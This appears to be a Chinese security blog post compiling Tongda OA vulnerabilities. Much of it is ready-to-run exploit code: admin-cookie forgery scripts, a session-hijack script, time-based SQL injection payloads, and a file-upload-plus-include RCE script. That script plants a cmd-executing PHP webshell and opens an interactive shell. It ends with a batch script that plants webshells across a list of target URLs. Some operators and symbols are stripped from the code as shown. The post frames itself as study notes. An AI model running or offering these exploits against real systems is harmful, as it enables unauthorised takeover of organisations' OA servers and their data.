通达OAの漏洞合集
两三个月之前实习的时候通达OA的漏洞学习笔记,赶紧发了清一下库存,免得文件夹吃灰。
起初原本是想把全部洞都调一遍的,但是最后发现洞太多也没那么多时间全部调完了而通达的漏洞还是比较好理解的,所以最后就变成了漏洞整合集,复现后便直接将师傅们的分析和调试过程简述了一下,而我自己调试的过程也没有弄太多截图贴上来,但是在每部分后面都有参考链接,如果直接看文章不明白的话可以到参考链接看链接师傅们的文章进行复现.
一些准备
通达OA的代码是加密的,可以使用SeayDzend工具解密,如果只是要解密单个关键文件也可通过http://dezend.qiling.org/free.html
完成
OA11.6 解密工具
链接: https://pan.baidu.com/s/1Wh9g4Xp1nIqZ5zPRt8rARg 密码: 77ch
通达OA 2015-2017版本
- 任意文件上传漏洞(一) general/reportshop/utils/upload.php 文件中存在任意文件上传漏洞,攻击者可在任意用户登录的状态下通过该文件上传接口,上传任意文件到指定的文件夹中。
- 任意文件上传漏洞(二) mobile/reportshop/report/getdata.php 文件中存在任意文件上传漏洞,攻击者可在任意用户登录的状态下通过该文件上传接口,上传任意文件到指定的文件夹中。
- 文件包含漏洞(一) inc/second_tabs.php 文件中存在文件包含漏洞,攻击者可在任意用户登录的状态下通过该漏洞,包含任意文件,最终可执行任意PHP代码。
- 文件包含漏洞(二) general/reportshop/utils/upload.php 文件中存在文件包含漏洞,攻击者可在任意用户登录的状态下通过该漏洞,包含任意文件,最终可执行任意PHP代码。
- 任意文件删除漏洞 general/reportshop/utils/upload.php 文件中存在任意文件删除漏洞,攻击者可在任意用户登录的状态下通过该漏洞,删除任意文件。
参考文章: https://www.freebuf.com/vuls/247358.html
通达OA < 11.5任意用户登录
脚本分析
POC链接
exp脚本:
代码语言:javascript复制import requests
from random import choice
import argparse
import json
USER_AGENTS = [
"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; AcooBrowser; .NET CLR 1.1.4322; .NET CLR 2.0.50727)",
"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Acoo Browser; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506)",
"Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.5; AOLBuild 4337.35; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)",
"Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)",
"Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET CLR 2.0.50727; Media Center PC 6.0)",
"Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET CLR 1.0.3705; .NET CLR 1.1.4322)",
"Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.0.04506.30)",
"Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN) AppleWebKit/523.15 (KHTML, like Gecko, Safari/419.3) Arora/0.3 (Change: 287 c9dfb30)",
"Mozilla/5.0 (X11; U; Linux; en-US) AppleWebKit/527 (KHTML, like Gecko, Safari/419.3) Arora/0.6",
"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.2pre) Gecko/20070215 K-Ninja/2.1.1",
"Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9) Gecko/20080705 Firefox/3.0 Kapiko/3.0",
"Mozilla/5.0 (X11; Linux i686; U;) Gecko/20070322 Kazehakase/0.4.5",
"Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.8) Gecko Fedora/1.9.0.8-1.fc10 Kazehakase/0.5.6",
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/535.20 (KHTML, like Gecko) Chrome/19.0.1036.7 Safari/535.20",
"Opera/9.80 (Macintosh; Intel Mac OS X 10.6.8; U; fr) Presto/2.9.168 Version/11.52",
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.11 TaoBrowser/2.0 Safari/536.11",
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/21.0.1180.71 Safari/537.1 LBBROWSER",
"Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; LBBROWSER)",
"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; QQDownload 732; .NET4.0C; .NET4.0E; LBBROWSER)",
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.84 Safari/535.11 LBBROWSER",
"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)",
"Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; QQBrowser/7.0.3698.400)",
"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; QQDownload 732; .NET4.0C; .NET4.0E)",
"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; SV1; QQDownload 732; .NET4.0C; .NET4.0E; 360SE)",
"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; QQDownload 732; .NET4.0C; .NET4.0E)",
"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)",
"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/21.0.1180.89 Safari/537.1",
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/21.0.1180.89 Safari/537.1",
"Mozilla/5.0 (iPad; U; CPU OS 4_2_1 like Mac OS X; zh-cn) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8C148 Safari/6533.18.5",
"Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:2.0b13pre) Gecko/20110307 Firefox/4.0b13pre",
"Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:16.0) Gecko/20100101 Firefox/16.0",
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.64 Safari/537.11",
"Mozilla/5.0 (X11; U; Linux x86_64; zh-CN; rv:1.9.2.10) Gecko/20100922 Ubuntu/10.10 (maverick) Firefox/3.6.10"
]
headers={}
def getV11Session(url):
checkUrl = url '/general/login_code.php'
try:
headers["User-Agent"] = choice(USER_AGENTS)
res = requests.get(checkUrl,headers=headers)
resText = str(res.text).split('{')
codeUid = resText[-1].replace('}"}', '').replace('rn', '')
getSessUrl = url '/logincheck_code.php'
res = requests.post(
getSessUrl, data={'CODEUID': '{' codeUid '}', 'UID': int(1)},headers=headers)
tmp_cookie = res.headers['Set-Cookie']
headers["User-Agent"] = choice(USER_AGENTS)
headers["Cookie"] = tmp_cookie
check_available = requests.get(url '/general/index.php',headers=headers)
if '用户未登录' not in check_available.text:
if '重新登录' not in check_available.text:
print('[ ]Get Available COOKIE:' tmp_cookie)
else:
print('[-]Something Wrong With ' url ',Maybe Not Vulnerable.')
except:
print('[-]Something Wrong With ' url)
def get2017Session(url):
checkUrl = url '/ispirit/login_code.php'
try:
headers["User-Agent"] = choice(USER_AGENTS)
res = requests.get(checkUrl,headers=headers)
resText = json.loads(res.text)
codeUid = resText['codeuid']
codeScanUrl = url '/general/login_code_scan.php'
res = requests.post(codeScanUrl, data={'codeuid': codeUid, 'uid': int(
1), 'source': 'pc', 'type': 'confirm', 'username': 'admin'},headers=headers)
resText = json.loads(res.text)
status = resText['status']
if status == str(1):
getCodeUidUrl = url '/ispirit/login_code_check.php?codeuid=' codeUid
res = requests.get(getCodeUidUrl)
tmp_cookie = res.headers['Set-Cookie']
headers["User-Agent"] = choice(USER_AGENTS)
headers["Cookie"] = tmp_cookie
check_available = requests.get(url '/general/index.php',headers=headers)
if '用户未登录' not in check_available.text:
if '重新登录' not in check_available.text:
print('[ ]Get Available COOKIE:' tmp_cookie)
else:
print('[-]Something Wrong With ' url ',Maybe Not Vulnerable.')
else:
print('[-]Something Wrong With ' url ' Maybe Not Vulnerable ?')
except:
print('[-]Something Wrong With ' url)
if __name__ == "__main__":
parser = argparse.ArgumentParser()
parser.add_argument(
"-v",
"--tdoaversion",
type=int,
choices=[11, 2017],
help="Target TongDa OA Version. e.g: -v 11、-v 2017")
parser.add_argument(
"-url",
"--targeturl",
type=str,
help="Target URL. e.g: -url 192.168.2.1、-url http://192.168.2.1"
)
args = parser.parse_args()
url = args.targeturl
if 'http://' not in url:
url = 'http://' url
if args.tdoaversion == 11:
getV11Session(url)
elif args.tdoaversion == 2017:
get2017Session(url)
else:
parser.print_help()
可以看到脚本中只有两个关键函数: getV11Session
和get2017Session
分别看一下这两个函数做了什么:
注: admin用户的UID为1,后台获取用户数据就是根据UID查找数据库
getV11Session函数
请求/general/login_code.php
随机获取使用一个User-Agent请求会获取到一张二维码,里面会有一个UID,使用分割获取这个UID
请求/logincheck_code.php
继续使用上面的UA进行请求,携带以下POST参数:
代码语言:javascript复制{
'CODEUID': '{' codeUid '}',#就是上面从二维码获取到的UID,后台会先判断redis数据库缓存中是否存在CODEUID,如果1不存在则直接退出,存在之后才会进行下一步根据UID查询数据库并返回查找到的用户的cookie
'UID': int(1)#设UID为1,后台查询UID为1的用户数据,并且生成对应用户(admin)的cookie
}
代码语言:javascript复制CODEUID={E7EB1BCA-FEB6-47C4-A8F4-A9DA4CD121CB}&UID=1
获取响应头中的Set-Cookie参数并且作为下一次请求的Cookie
请求/general/index.php
使用上面获得的cookie作为headers["Cookie"]发出get请求,
检测返回结果,如果返回结果中既没有重新登录
也没有用户未登录
则说明登录成功,获得一个admin用户的cookie
并输出这个cookie
get2017Session函数
请求/ispirit/login_code.php
这里和getV11Session函数请求/general/login_code.php
的作用是一样的,获取到一个codeuid
请求/general/login_code_scan.php
使用一个UA携带以下数据发出一个POST请求
代码语言:javascript复制{
'codeuid': codeUid,
'uid': int(1), #根据uid查询数据库,admin用户的uid为1
'source': 'pc',
'type': 'confirm',
'username': 'admin'
}
代码语言:javascript复制codeuid={97D65940-1EEA-0A99-FC93-834C0800576C}&uid=1&source=pc&type=confirm&username=admin
返回一个json数据,我们获取里面的status
,只有当status
为1的时候我们才能进行下一步的利用
请求/ispirit/login_code_check.php?codeuid=codeUid
使用上面获取的codeuid作为参数codeuid
参数发出get请求
取出响应头中的Set-Cookie
(和上面一样,如果成功的话这个就是admin用户的cookie)
请求/general/index.php
使用获取的Set-Cookie
作为headers["Cookie"]发一个get请求,检测漏洞利用是否成功,
如果返回结果中既没有重新登录
也没有用户未登录
则说明登录成功,获得一个admin用户的cookie
并输出这个cookie
结果上面的利用,最终的结果都是获得一个admin用户的cookie
从而让我们可以作为admin用户访问后台
原理解析
漏洞成因在于logincheck_code.php
文件,它的检测逻辑如下:
- 检测用户请求参数中的codeUid在redis缓存中是否存在,若不存在则直接结束程序,存在则继续
- 获取请求的
UID
参数,然后执行sql查询语句select * from USER where UID=$UID
- 将查询获取到的数据进行相应的session赋值
所以只要我们获取到一个redis缓存中存在的codeuid
,同时设置UID=1
那么session数据赋值就会变为admin用户的数据,区别不同在于第一种情况访问logincheck_code.php
就能直接获得这个admin用户的cookie
,而第二种情况还需要去访问login_code_scan.php
才会得到这个admin用户的cookie
通达OA v11.7 在线用户登录漏洞
v11.7
的登录漏洞分析可以转参考文章
这个漏洞有点特殊,一个是必须是指定版本的v11.7
,还必须是在线用户
(当前数据库中还有这个用户的有效会话session)才会触发该漏洞,具体原理看源码和下面的解析就知道了
通达OA v11.7 中webrootmobileauth_mobi.php接口存在漏洞,无验证即可查询某个用户是否在线并返回PHPSESSION值使其可登录后台系统。
直接看一下漏洞文件代码:
代码语言:javascript复制<?php
function relogin()
{
echo _("RELOGIN");
exit();
}
ob_start();
include_once "inc/session.php";
include_once "inc/conn.php";
include_once "inc/utility.php";
if ((isAvatar == "1") && (uid != "") && (P_VER != "")) {sql = "SELECT SID FROM user_online WHERE UID = 'uid' and CLIENT = 'P_VER'";
cursor = exequery(TD::conn(),sql);
if (row = mysql_fetch_array(cursor)) {
P =row["SID"];
}
}
if (P == "") {P = _COOKIE["PHPSESSID"];
if (P == "") {
relogin();
exit();
}
}
if (preg_match("/[^a-z0-9;] /i", P)) {
echo _("非法参数");
exit();
}
if (strpos(P, ";") !== false) {
MY_ARRAY = explode(";",P);
P = trim(MY_ARRAY[1]);
}
session_id(P);
session_start();
session_write_close();
if ((_SESSION["LOGIN_USER_ID"] == "") || ($_SESSION["LOGIN_UID"] == "")) {
relogin();
}
?>
直接贴个poc:
代码语言:javascript复制import requests
import sys
import re
import time
def poc(url,uid):
url = f'{url}/mobile/auth_mobi.php?isAvatar=1&uid={uid}&P_VER=0'
while True:
res = requests.get(url)
if res.status_code == 200:
if res.text == '':
cookies = re.findall(r'PHPSESSID=(.*?);', str(res.headers))
print('[ ]目标在线,PHPSESSID=' cookies[0])
break
if 'RELOGIN' in res.text:
print('[ ]目标用户不在线')
time.sleep(2)
def main(argv):
print('------------------------------------------')
print('[ ]适用版本:通达OA 11.7 ')
print('[ ]使用格式: python3 poc.py url uid')
print('------------------------------------------')
poc(argv[0],argv[1])
if __name__ == '__main__':
main(sys.argv[1:])
可以看到脚本的需要两个参数,一个是url
链接,另一个是想要登录的用户的uid
看一下poc
函数:
请求/mobile/auth_mobi.php
这里只向/mobile/auth_mobi.php
发出了一个请求,同时携带着三个get参数:
isAvatar=1&
P_VER=0&
uid={uid}
代码语言:javascript复制isAvatar=1
uid 不为空,需要查谁就填对应用户的uid
P_VER 不为空 表示登录设备类型
带着这三个参数进入源码看一下:
代码语言:javascript复制if ((isAvatar == "1") && (uid != "") && (P_VER != "")) {sql = "SELECT SID FROM user_online WHERE UID = 'uid' and CLIENT = 'P_VER'";
cursor = exequery(TD::conn(),sql);
if (row = mysql_fetch_array(cursor)) {
P =row["SID"];
}
}
这三个参数满足了if的条件判断,进入结构体中,可以看到将我们的UID
和P_VER
参数带入后执行了一个select语句,然后将返回结果的SID
字段取出赋值给$P
注意: 这里的这个SID就是用户的Session ID
返回的SID分为空和非空两种情况
- 当返回的SID为空,表示当前查询的UID对应的用户并没有SID数据,也就是这个用户当前并没有登录产生有效的session.
如果SID为空并且当前请求没有携带
PHPSESSID
cookie参数,则输出RELOGIN
后退出 - 返回非空,表示这个UID对应的用户有有效的session,那么后面就会对其进行一些判断:strpos(P, ";") !== false,preg_match("/[^a-z0-9;] /i",
- 最后执行到
session_id($P);
,会将取出的这个session赋值为当前会话的session,到这里我们就可以得到我们所获取的目标用户的session了
可以看到,这个漏洞点在于会查询数据库中我们指定UID的用户的session,如果该用户当前无有效session就会输出返回RELOGIN
,有的话就会设置为当前会话的session,从而导致我们成功完成在线用户登录
Tips:这里感觉可以直接改一下脚本遍历众多的UID把有效的session输出即可
后续想要完成文件上传webshell可以参考文章: https://blog.csdn.net/HBohan/article/details/119181417
通达OA的sql注入点
下面这些注入漏洞点和会议信息的未授权访问均来自于文章全网首发|通达OA多枚0day漏洞分享,原文中还有各个漏洞文件的漏洞函数点的详细截图,要做复现看源码的推荐看原文
注入点一:
代码语言:javascript复制漏洞参数: starttime
POST-URI: /general/appbuilder/web/calendar/calendarlist/getcallist
DATA: starttime=AND (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])---&endtime=1598918400&view=month&condition=1
漏洞文件:webrootgeneralappbuildermodulescalendarmodelsCalendar.php。
get_callist_data函数接收传入的begin_date变量未经过滤直接拼接在查询语句中造成注入。
利用条件: 一枚普通账号登录权限,但测试发现,某些低版本也无需登录也可注入。
注入点二:
代码语言:javascript复制漏洞参数: orderby
GET-URI: /general/email/sentbox/get_index_data.php?asc=0&boxid=&boxname=sentbox&curnum=3&emailtype=ALLMAIL&keyword=sample@email.tst&orderby=1&pagelimit=20&tag=×tamp=1598069133&total=
漏洞文件:webrootincutility_email.php,
get_sentbox_data函数接收传入参数未过滤,直接拼接在order by后面了造成注入。
利用条件: 一枚普通账号登录权限,但测试发现,某些低版本也无需登录也可注入。
注入点三:
代码语言:javascript复制漏洞参数: orderby
GET_URI: /general/email/inbox/get_index_data.php?asc=0&boxid=&boxname=inbox&curnum=0&emailtype=ALLMAIL&keyword=&orderby=3--&pagelimit=10&tag=×tamp=1598069103&total=
漏洞文件:webrootincutility_email.php,get_email_data函数传入参数未过滤,直接拼接在order by后面了造成注入。
利用条件: 一枚普通账号登录权限,但测试发现,某些低版本也无需登录也可注入。
注入点四:
代码语言:javascript复制漏洞参数:id
GET-URI: /general/appbuilder/web/report/repdetail/edit?link_type=false&slot={}&id=2
漏洞文件:webrootgeneralappbuildermodulesreportcontrollersRepdetailController.php,
actionEdit函数中存在 一个$_GET["id"]; 未经过滤,拼接到SQL查询中,造成了SQL注入。
利用条件: 一枚普通账号登录权限,但测试发现,某些低版本也无需登录也可注入。
未授权访问各种会议通知信息
直接访问下面URI即可:
代码语言:javascript复制/general/calendar/arrange/get_cal_list.php?starttime=1548058874&endtime=1597997506&view=agendaDay
参考链接: https://cloud.tencent.com/developer/article/1688772 全网首发 | 通达OA多枚0day漏洞分享
通达OA 任意文件上传漏洞
这个文件上传漏洞的学习可以转到通达OA任意文件上传漏洞详细分析
这个漏洞的利用不需要用户登录,利用的是文件上传
文件包含
两个点完成RCE,这两个点分别有版本限制:
- 只有
V11版
和2017版
有包含文件的php V11版
2017版
2016版 2015版 2013增强版 2013版可进行文件上传
脚本分析
代码语言:javascript复制#!/usr/bin/env python3
# -*- encoding: utf-8 -*-
# oa通达文件上传加文件包含远程代码执行
import requests
import re
import sys
def oa(url):
upurl = url '/ispirit/im/upload.php'
headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.9 Safari/537.36", "Accept": "text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3", "Accept-Encoding": "gzip, deflate", "Connection": "close", "Upgrade-Insecure-Requests": "1", "Content-Type": "multipart/form-data; boundary=---------------------------27723940316706158781839860668"}
data = "-----------------------------27723940316706158781839860668rnContent-Disposition: form-data; name="ATTACHMENT"; filename="jpg"rnContent-Type: image/jpegrnrn<?phprncommand=_POST['cmd'];rnwsh = new COM('WScript.shell');rnexec = wsh->exec("cmd /c ".command);rnstdout =exec->StdOut();rnstroutput =stdout->ReadAll();rnecho $stroutput;rn?>nrn-----------------------------27723940316706158781839860668rnContent-Disposition: form-data; name="P"rnrn1rn-----------------------------27723940316706158781839860668rnContent-Disposition: form-data; name="DEST_UID"rnrn1222222rn-----------------------------27723940316706158781839860668rnContent-Disposition: form-data; name="UPLOAD_MODE"rnrn1rn-----------------------------27723940316706158781839860668--rn"
req = requests.post(url=upurl, headers=headers, data=data)
filename = "".join(re.findall("2003_(. ?)|",req.text))
in_url = url '/ispirit/interface/gateway.php'
headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.9 Safari/537.36", "Accept": "text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3", "Accept-Encoding": "gzip, deflate", "X-Forwarded-For": "127.0.0.1", "Connection": "close", "Upgrade-Insecure-Requests": "1", "Content-Type": "application/x-www-form-urlencoded"}
data = "json=
{"url":"../../../general/../attach/im/2003/%s.jpg"}&cmd=%s" %
(filename,"echo php00py")
include_req = requests.post(url=in_url, headers=headers, data=data)
if 'php00py' in include_req.text:
print("[ ] OA RCE vulnerability ")
return filename
else:
print("[-] Not OA RCE vulnerability ")
return False
def oa_rce(url, filename,command):
url = url '/ispirit/interface/gateway.php'
headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.9 Safari/537.36", "Accept": "text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3", "Accept-Encoding": "gzip, deflate", "Connection": "close", "Upgrade-Insecure-Requests": "1", "Content-Type": "application/x-www-form-urlencoded"}
data = "json=
{"url":"../../../general/../attach/im/2003/%s.jpg"}&cmd=%s" %
(filename,command)
req = requests.post(url, headers=headers, data=data)
print(req.text)
if __name__ == '__main__':
if len(sys.argv) < 2:
print("please input your url python oa_rce.py http://127.0.0.1:8181")
else:
url = sys.argv[1]
filename = oa(url)
while filename:
try:
command = input("wran@shelLhost#")
if command == "exit" or command == "quit":
break
else:
oa_rce(url,filename,command)
except KeyboardInterrupt:
break
可以看到poc脚本中有两个函数:oa
和oa_rce
,oa_rce
其实就是省去文件上传部分的oa
函数,所以这里就只看oa函数
请求/ispirit/im/upload.php
—– 上传文件
第一个请求其实就是使用form表单传参的方式传输了三个参数和一个webshell文件:
代码语言:javascript复制P=1
DEST_UID=1222222
UPLOAD_MODE=2
webshell-file
然后将返回的结果使用正则匹配获取文件名: filename = "".join(re.findall("2003_(. ?)|",req.text))
参数解析:
- P: 判断P参数是否为空,不为空就开启session
- 判断DEST_UID是否为空,为空就会退出(DEST_UID如果不包含有
,
就会被intval函数转为int类型然后赋值给$DEST_UID
) - 如果DEST_UID=0并且UPLOAD_MODE!=2就会退出 Tips:UPLOAD_MODE总共有1,2,3,其中1,2,3如果成功了是有回显的
- 最后检测_FILES文件变量是否为空(也就是有没有文件上传),如果有的话就会获取其中的_FILES["ATTACHMENT"],并且会对
请求/ispirit/interface/gateway.php
—– 文件包含
第二个文件包含的请求有两个变量,就是定义一个json
变量,同时这个变量为json格式,里面有一个url变量
json={"url":"../../../general/../attach/im/2003/filename.jpg"}
cmd=webshell包含执行的命令
解释一下这两个参数的作用:
- url 然后检测url是否为空,检测url中是否有出现general/,ispirit/,module/,只要出现其中的任意一个就会对这个文件进行文件包含
- cmd其实可有可无,这个就是包含webshell的时候执行的命令参数
原理解析
已经在请求的参数解析部分讲的差不多了,详细的可以看参考链接通达OA任意文件上传漏洞详细分析
通达OA v11.7文件上传 后缀修改
参考链接: https://blog.csdn.net/HBohan/article/details/119181417
通过访问/mobile/auth_mobi.php?isAvatar=1&uid=1&P_VER=0
可以获得admin的session(可能失败,原因看上面分析),然后直接访问/general/index.php
进入后台,后续上传文件的操作如下(就是绕过目录限制上传一个websehll的.jpg然后修改这个.jpg变为.php):
- 通过
系统管理->系统信息
得到当前项目绝对路径(记为PATH) - 通过
系统管理->附件管理
添加一个目录PATH/webroot
而webroot会被过滤,但是代码逻辑没有检查大小写(windows下目录不会区分大小写),所以我们改为Webroot或webRoot等就可以轻松绕过。 这里需要注意的是我们需要将发布范围
里添加一个系统管理员,否则会失败。 - 通过
个人事务->个人文件柜
上传webshell(后缀为.jpg,这是为了能够看到我们的webshell文件路径) - 通过
知识管理->图片浏览
(这就是为什么要.jpg的图片后缀的原因了)查看上传的webshell文件路径 - 回到
个人事务->个人文件柜
找到我们上传的.jpg后缀的webshell文件然后进行编辑 - 鼠标放到我们webshell.jpg上面,然后点击重命名(注意点击之前开代理抓包)
抓包后修改参数:
ATTACHMENT_NAME_POSTFIX=php.
(这个就是新文件拓展名,注意.
不能少,原因没细看,应该是不能改为php格式,但是可以改为php.
而在windows中不允许文件名以.
结尾所以会将结尾的.删除从而php.
的后缀就变为.php
)NEW_FILE_NAME=123
(这个是新文件的文件名,随便取一个即可) - 退出编辑可以看到附件文件就是我们的webshell文件
123.php
(这个附件文件是和webshell.jpg文件在同一文件夹下的) - 拼接websehll路径,使用之前的
websehll.jpg文件目录 123.php
即可访问到123.php(webroot目录使我们可以直接访问的)
附一个参考文章的poc(感觉写太多函数了看起来有点麻烦):
代码语言:javascript复制#define payload = /mobile/auth_mobi.php?isAvatar=1&uid=1&P_VER=0
#define yinhao = "
#define Rootre = <td nowrap class="TableData">(.*?)</td>
#define contentidre = "TableLine1" index="(.*?)" >
#define attachmentidre = ATTACHMENT_ID_OLD" value="(.*?),"
#define shellpathre = alt="(.*?)" node-image-tips
function GetCookie(url){
res = HttpGet(url.payload,"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0");
if(StrFindStr(res[1],"PHPSESSID",0) == "-1"){
return "";
}
PHPSESSID = GettextMiddle(res[1],"PHPSESSID=",";");
return PHPSESSID;
}
function JudgeOK(url,Cookie){
res = HttpGet(url."/general/",Cookie);
if(StrFindStr(res[0],"/static/js/ba/agent.js",0) == "-1"){
return "0";
}else{
return "1";
}
}
function GetRoot(content){
list = StrRe(content,Rootre);
num = GetArrayNum(list);
num = num/2;
i = 0;
while(i<num){
if(StrFindStr(list[ToInt(i*2 1)],":",0) != "-1"){
return list[ToInt(i*2 1)];
}
i = i 1;
}
return "";
}
function GetWebRoot(url,Cookie){
res = HttpGet(url."/general/system/reg_view/",Cookie);
return GetRoot(res[0]);
}
function AddPath(url,Root,Cookie){
return HttpPost(url."/general/system/attachment/position/add.php","POS_ID=166&POS_NAME=166&POS_PATH=".URLEncode(Root."WebRoot")."&IS_ACTIVE=on",Cookie);
}
function AddImgPath(url,Root,Cookie){
return HttpPost(url."/general/system/picture/new/submit.php","TO_ID=&TO_NAME=&PRIV_ID=&PRIV_NAME=©_TO_ID=admin,©_TO_NAME=ϵͳ����Ա,&PIC_NAME=test&PIC_PATH=".URLEncode(Root."webRoot")."&ROW_PIC=5&ROW_PIC_NUM=7",Cookie);
}
function PushImg(url,Content,Cookie){
return HttpPost(url."/general/file_folder/new/submit.php",Content,Cookie.StrRN()."Content-Type: multipart/form-data; boundary=---------------------------33072116513621237124579432636");
}
function GetPICID(url,Cookie){
res = HttpGet(url."/general/picture/tree.php?CUR_DIR=&PIC_ID=&_=1615284234507",Cookie);
return GettextMiddle(res[0],"&PIC_ID=",yinhao);
}
function GetImg(url,Root,Cookie){
res = HttpGet(url."/general/picture/picture_view.php?SUB_DIR=2103&PIC_ID=".GetPICID(url,Cookie)."&CUR_DIR=".URLEncode(StrReplace(Root,"\","/"))."/webroot/file_folder/2103",Cookie);
list = StrRe(res[0],shellpathre);
num = GetArrayNum(list);
num = num/2;
i = 0;
while(i<num){
if(StrFindStr(list[ToInt(i*2 1)],"1.jpg",0) != "-1"){
return list[ToInt(i*2 1)];
}
i = i 1;
}
return "";
}
function ChangeImgName(url,CONTENT,ATTACHMENT,Cookie){
return HttpPost(url."/general/file_folder/rename_submit.php","NEW_FILE_NAME=166&CONTENT_ID=".CONTENT."&FILE_SORT=2&ATTACHMENT_ID=".URLEncode(ATTACHMENT)."&ATTACHMENT_NAME_POSTFIX=php.&ATTACHMENT_NAME=1.jpg&FIRST_ATTACHMENT_NAME=1&FILE_NAME_OLD=1.jpg",Cookie);
}
function GetCONTENTID(url,Cookie){
res = HttpGet(url."/general/file_folder/folder.php?FILE_SORT=2&SORT_ID=0",Cookie);
list = StrRe(res[0],contentidre);
if(GetArrayNum(list) >= 2){
return list[1];
}
return "";
}
function GetATTACHMENTID(url,CONTENTID,Cookie){
res = HttpGet(url."/general/file_folder/edit.php?FILE_SORT=2&SORT_ID=0&CONTENT_ID=".CONTENTID."&start=0",Cookie.StrRN()."Referer: ".url."/general/file_folder/folder.php?FILE_SORT=2&SORT_ID=0");
list = StrRe(res[0],attachmentidre);
if(GetArrayNum(list) >= 2){
return list[1];
}
return "";
}
function GetShell(url){
PHPSESSID = GetCookie(url);
if(PHPSESSID == ""){
return "";
}
Cookie = "Cookie: PHPSESSID=".PHPSESSID.";".StrRN()."User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0";
if(JudgeOK(url,Cookie)=="1"){
WebRoot = GetWebRoot(url,Cookie);
AddPath(url,WebRoot,Cookie);
AddImgPath(url,WebRoot,Cookie);
ShellPost = ReadFile(".OAShell.txt");
PushImg(url,ShellPost,Cookie);
path = GetImg(url,WebRoot,Cookie);
CONTENTID = GetCONTENTID(url,Cookie);
ATTACHMENTID=GetATTACHMENTID(url,CONTENTID,Cookie);
ChangeImgName(url,CONTENTID,ATTACHMENTID,Cookie);
realshellpath = url."/file_folder/2103/".StrReplace(path,"1.jpg","166.php");
print("Shell路径:",realshellpath,"密码:test");
}else{
return "";
}
}
function main(args){
print("请输入要要检测的列表文件:");
list = StrSplit(ReadFile(input()),StrRN());
i = 0;
num = GetArrayNum(list);
while(i < num){
url=list[ToInt(i)];
print("当前检测的连接:".url);
GetShell(url);
i=i 1;
}
